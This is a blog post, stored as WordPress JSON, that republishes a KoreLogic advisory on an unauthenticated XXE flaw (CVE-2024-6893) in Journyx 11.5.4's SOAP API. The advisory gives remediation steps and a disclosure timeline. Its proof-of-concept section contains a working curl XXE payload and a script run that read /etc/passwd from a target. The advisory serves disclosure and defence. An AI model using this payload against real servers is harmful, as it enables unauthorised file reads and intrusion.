{"id":58707,"date":"2024-08-08T19:39:56","date_gmt":"2024-08-08T16:39:56","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180005\/KL-001-2024-010.txt"},"modified":"2024-08-08T19:39:56","modified_gmt":"2024-08-08T16:39:56","slug":"journyx-11-5-4-xml-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/journyx-11-5-4-xml-injection\/","title":{"rendered":"Journyx 11.5.4 XML Injection"},"content":{"rendered":"<p>KL-001-2024-010: Journyx Unauthenticated XML External Entities Injection<\/p>\n<p>Title: Journyx Unauthenticated XML External Entities Injection<br \/>Advisory ID: KL-001-2024-010<br \/>Publication Date: 2024.08.07<br \/>Publication URL: https:\/\/korelogic.com\/Resources\/Advisories\/KL-001-2024-010.txt<\/p>\n<p>1. Vulnerability Details<\/p>\n<p>Affected Vendor: Journyx<br \/>Affected Product: Journyx (jtime)<br \/>Affected Version: 11.5.4<br \/>Platform: GNU\/Linux<br \/>CWE Classification: CWE-611: Improper Restriction of XML External Entity<br \/>Reference<br \/>CVE ID: CVE-2024-6893<\/p>\n<p>2. Vulnerability Description<\/p>\n<p>The &#8220;soap_cgi.pyc&#8221; API handler allows the XML body of<br \/>SOAP requests to contain references to external entities.<br \/>This allows an unauthenticated attacker to read local files,<br \/>perform server-side request forgery, and overwhelm the web<br \/>server resources.<\/p>\n<p>3. Technical Description<\/p>\n<p>From an unauthenticated perspective, a user can send an HTTP<br \/>request to the &#8220;\/jtcgi\/soap_cgi.pyc&#8221; endpoint. The body of the<br \/>HTTP request is read and processed by the Journyx web server<br \/>as XML.<\/p>\n<p>To process these SOAP requests, the third-party component<br \/>&#8220;SOAPpy&#8221; is used. The built-in XML parser for &#8220;SOAPpy&#8221;<br \/>is &#8220;xml.sax&#8221;. According to the &#8220;xml.sax&#8221; documentation<br \/>(https:\/\/docs.python.org\/3\/library\/xml.sax.html), versions<br \/>before 3.7.1 enable XML external entities by default. Since<br \/>Journyx version 11.5.4 ships with python 3.6, the SOAP API<br \/>endpoint is vulnerable.<\/p>\n<p>4. Mitigation and Remediation Recommendation<\/p>\n<p>The vendor reports that this issue was remediated in Journyx<br \/>v13.0.0, which is the first wholly cloud-hosted version of<br \/>this product.<\/p>\n<p>For self-hosted versions of Journyx, external entity processing<br \/>can be disabled by editing the old bundled version of SOAPpy by<br \/>modifying the &#8220;Parser.py&#8221; file:<\/p>\n<p>&#8212; Parser.py.orig 2018-11-27 17:26:53.000000000 -0500<br \/>+++ Parser.py 2024-06-18 10:56:01.993019226 -0400<br \/>@@ -1036,6 +1036,10 @@<br \/># turn on namespace mangeling<br \/>parser.setFeature(xml.sax.handler.feature_namespaces, 1)<\/p>\n<p>+ # Disallow external entities, prevent XXE<br \/>+ parser.setFeature(xml.sax.handler.feature_external_ges, 0)<br \/>+ parser.setFeature(xml.sax.handler.feature_external_pes, 0)<br \/>+<br \/>try:<br \/>parser.parse(inpsrc)<br \/>except xml.sax.SAXParseException as e:<\/p>\n<p>Additionally, if API access is not required, requests to<br \/>\/jtcgi\/soap_cgi.pyc could be dropped without forwarding to FastCGI<br \/>via a ModSecurity rule like the one below:<\/p>\n<p>SecRule REQUEST_URI &#8220;@contains soap_cgi&#8221; &#8220;id:1,phase:2,deny,log,auditlog&#8221;<\/p>\n<p>5. Credit<\/p>\n<p>This vulnerability was discovered by Jaggar Henry of KoreLogic, Inc.<\/p>\n<p>6. Disclosure Timeline<\/p>\n<p>2024.01.31 &#8211; KoreLogic notifies Journyx support of the intention to<br \/>report vulnerabilities discovered in the licensed,<br \/>on-premises version of the product.<br \/>2024.01.31 &#8211; Journyx acknowledges receipt.<br \/>2024.02.02 &#8211; KoreLogic requests a meeting with Journyx support to share<br \/>vulnerability details.<br \/>2024.02.07 &#8211; KoreLogic reports vulnerability details to Journyx.<br \/>2024.02.09 &#8211; Journyx responds that this vulnerability has been remediated<br \/>in the cloud-hosted version of the product.<br \/>2024.02.21 &#8211; KoreLogic offers to test the cloud version to confirm<br \/>the fix; no response.<br \/>2024.07.01 &#8211; KoreLogic notifies Journyx of impending public disclosure.<br \/>2024.07.09 &#8211; Journyx confirms version number of the remediation.<br \/>2024.08.07 &#8211; KoreLogic public disclosure.<\/p>\n<p>7. Proof of Concept<\/p>\n<p>The &#8220;changeUserPassword&#8221; SOAP method will reflect the<br \/>&#8220;username&#8221; parameter in the HTTP response if the given<br \/>username does not exist in the Journyx database. This<br \/>makes exploitation straight forward, as an external<br \/>entity can be used as the value of &#8220;username&#8221; and the<br \/>dynamic value of the entity is reflected in the page<br \/>response.<\/p>\n[attacker@box]$ python xxe.py &#8211;host redacted.com &#8211;port 8080<br \/>root:x:0:0:root:\/root:\/bin\/bash<br \/>daemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin<br \/>bin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin<br \/>sys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin<br \/>sync:x:4:65534:sync:\/bin:\/bin\/sync<br \/>games:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin<br \/>man:x:6:12:man:\/var\/cache\/man:\/usr\/sbin\/nologin<br \/>lp:x:7:7:lp:\/var\/spool\/lpd:\/usr\/sbin\/nologin<br \/>mail:x:8:8:mail:\/var\/mail:\/usr\/sbin\/nologin<br \/>news:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/nologin<br \/>uucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin<br \/>proxy:x:13:13:proxy:\/bin:\/usr\/sbin\/nologin<br \/>www-data:x:33:33:www-data:\/var\/www:\/usr\/sbin\/nologin<br \/>&#8230;<br \/>[attacker@box]$<\/p>\n[attacker@box]$ HOST=&#8217;redacted.com&#8217;; PORT=&#8217;8080&#8242;; PAYLOAD_TARGET=&#8217;file:\/\/\/etc\/passwd&#8217;; \\<br \/>curl -X POST &#8211;data-binary &#8216;&lt;?xml version=&#8221;1.0&#8243;?&gt;&lt;!DOCTYPE root [&lt;!ENTITY test SYSTEM <br \/>&#8220;&#8216;$PAYLOAD_TARGET'&#8221;&gt;]&gt;&lt;soapenv:Envelope <br \/>xmlns:soapenv=&#8221;http:\/\/schemas.xmlsoap.org\/soap\/envelope\/&#8221;&gt;&lt;soapenv:Header\/&gt;&lt;soapenv:Body&gt;&lt;changeUserPassword&gt;&lt;username&gt;&amp;test;&lt;\/username&gt;&lt;curpwd&gt;zzz&lt;\/curpwd&gt;&lt;newpwd&gt;zzz123&lt;\/newpwd&gt;&lt;\/changeUserPassword&gt;&lt;\/soapenv:Body&gt;&lt;\/soapenv:Envelope&gt;&#8217; <br \/>\\<br \/>-s &#8220;http:\/\/$HOST:$PORT\/jtcgi\/soap_cgi.pyc&#8221; | awk &#8216;\/incorrect or invalid password for user <br \/>\/{flag=1;next}\/&lt;\\\/faultstring&gt;\/{flag=0}flag&#8217;<\/p>\n<p>daemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin<br \/>bin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin<br \/>sys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin<br \/>sync:x:4:65534:sync:\/bin:\/bin\/sync<br \/>games:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin<br \/>man:x:6:12:man:\/var\/cache\/man:\/usr\/sbin\/nologin<br \/>lp:x:7:7:lp:\/var\/spool\/lpd:\/usr\/sbin\/nologin<br \/>mail:x:8:8:mail:\/var\/mail:\/usr\/sbin\/nologin<br \/>news:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/nologin<br \/>uucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin<br \/>proxy:x:13:13:proxy:\/bin:\/usr\/sbin\/nologin<br \/>www-data:x:33:33:www-data:\/var\/www:\/usr\/sbin\/nologin<br \/>&#8230;<br \/>[attacker@box]$<\/p>\n<p>The contents of this advisory are copyright(c) 2024<br \/>KoreLogic, Inc. and are licensed under a Creative Commons<br \/>Attribution Share-Alike 4.0 (United States) License:<br \/>http:\/\/creativecommons.org\/licenses\/by-sa\/4.0\/<\/p>\n<p>KoreLogic, Inc. is a founder-owned and operated company with a<br \/>proven track record of providing security services to entities<br \/>ranging from Fortune 500 to small and mid-sized companies. We<br \/>are a highly skilled team of senior security consultants doing<br \/>by-hand security assessments for the most important networks in<br \/>the U.S. and around the world. We are also developers of various<br \/>tools and resources aimed at helping the security community.<br \/>https:\/\/www.korelogic.com\/about-korelogic.html<\/p>\n<p>Our public vulnerability disclosure policy is available at:<br \/>https:\/\/korelogic.com\/KoreLogic-Public-Vulnerability-Disclosure-Policy<\/p>\n","protected":false},"excerpt":{"rendered":"<p>KL-001-2024-010: Journyx Unauthenticated XML External Entities Injection Title: Journyx Unauthenticated XML External Entities InjectionAdvisory ID: KL-001-2024-010Publication Date: 2024.08.07Publication URL: https:\/\/korelogic.com\/Resources\/Advisories\/KL-001-2024-010.txt 1. Vulnerability Details Affected Vendor: JournyxAffected Product: Journyx (jtime)Affected Version: 11.5.4Platform: GNU\/LinuxCWE Classification: CWE-611: Improper Restriction of XML External EntityReferenceCVE ID: CVE-2024-6893 2. Vulnerability Description The &#8220;soap_cgi.pyc&#8221; API handler allows the XML body ofSOAP requests &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-58707","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58707","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=58707"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58707\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=58707"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=58707"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=58707"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}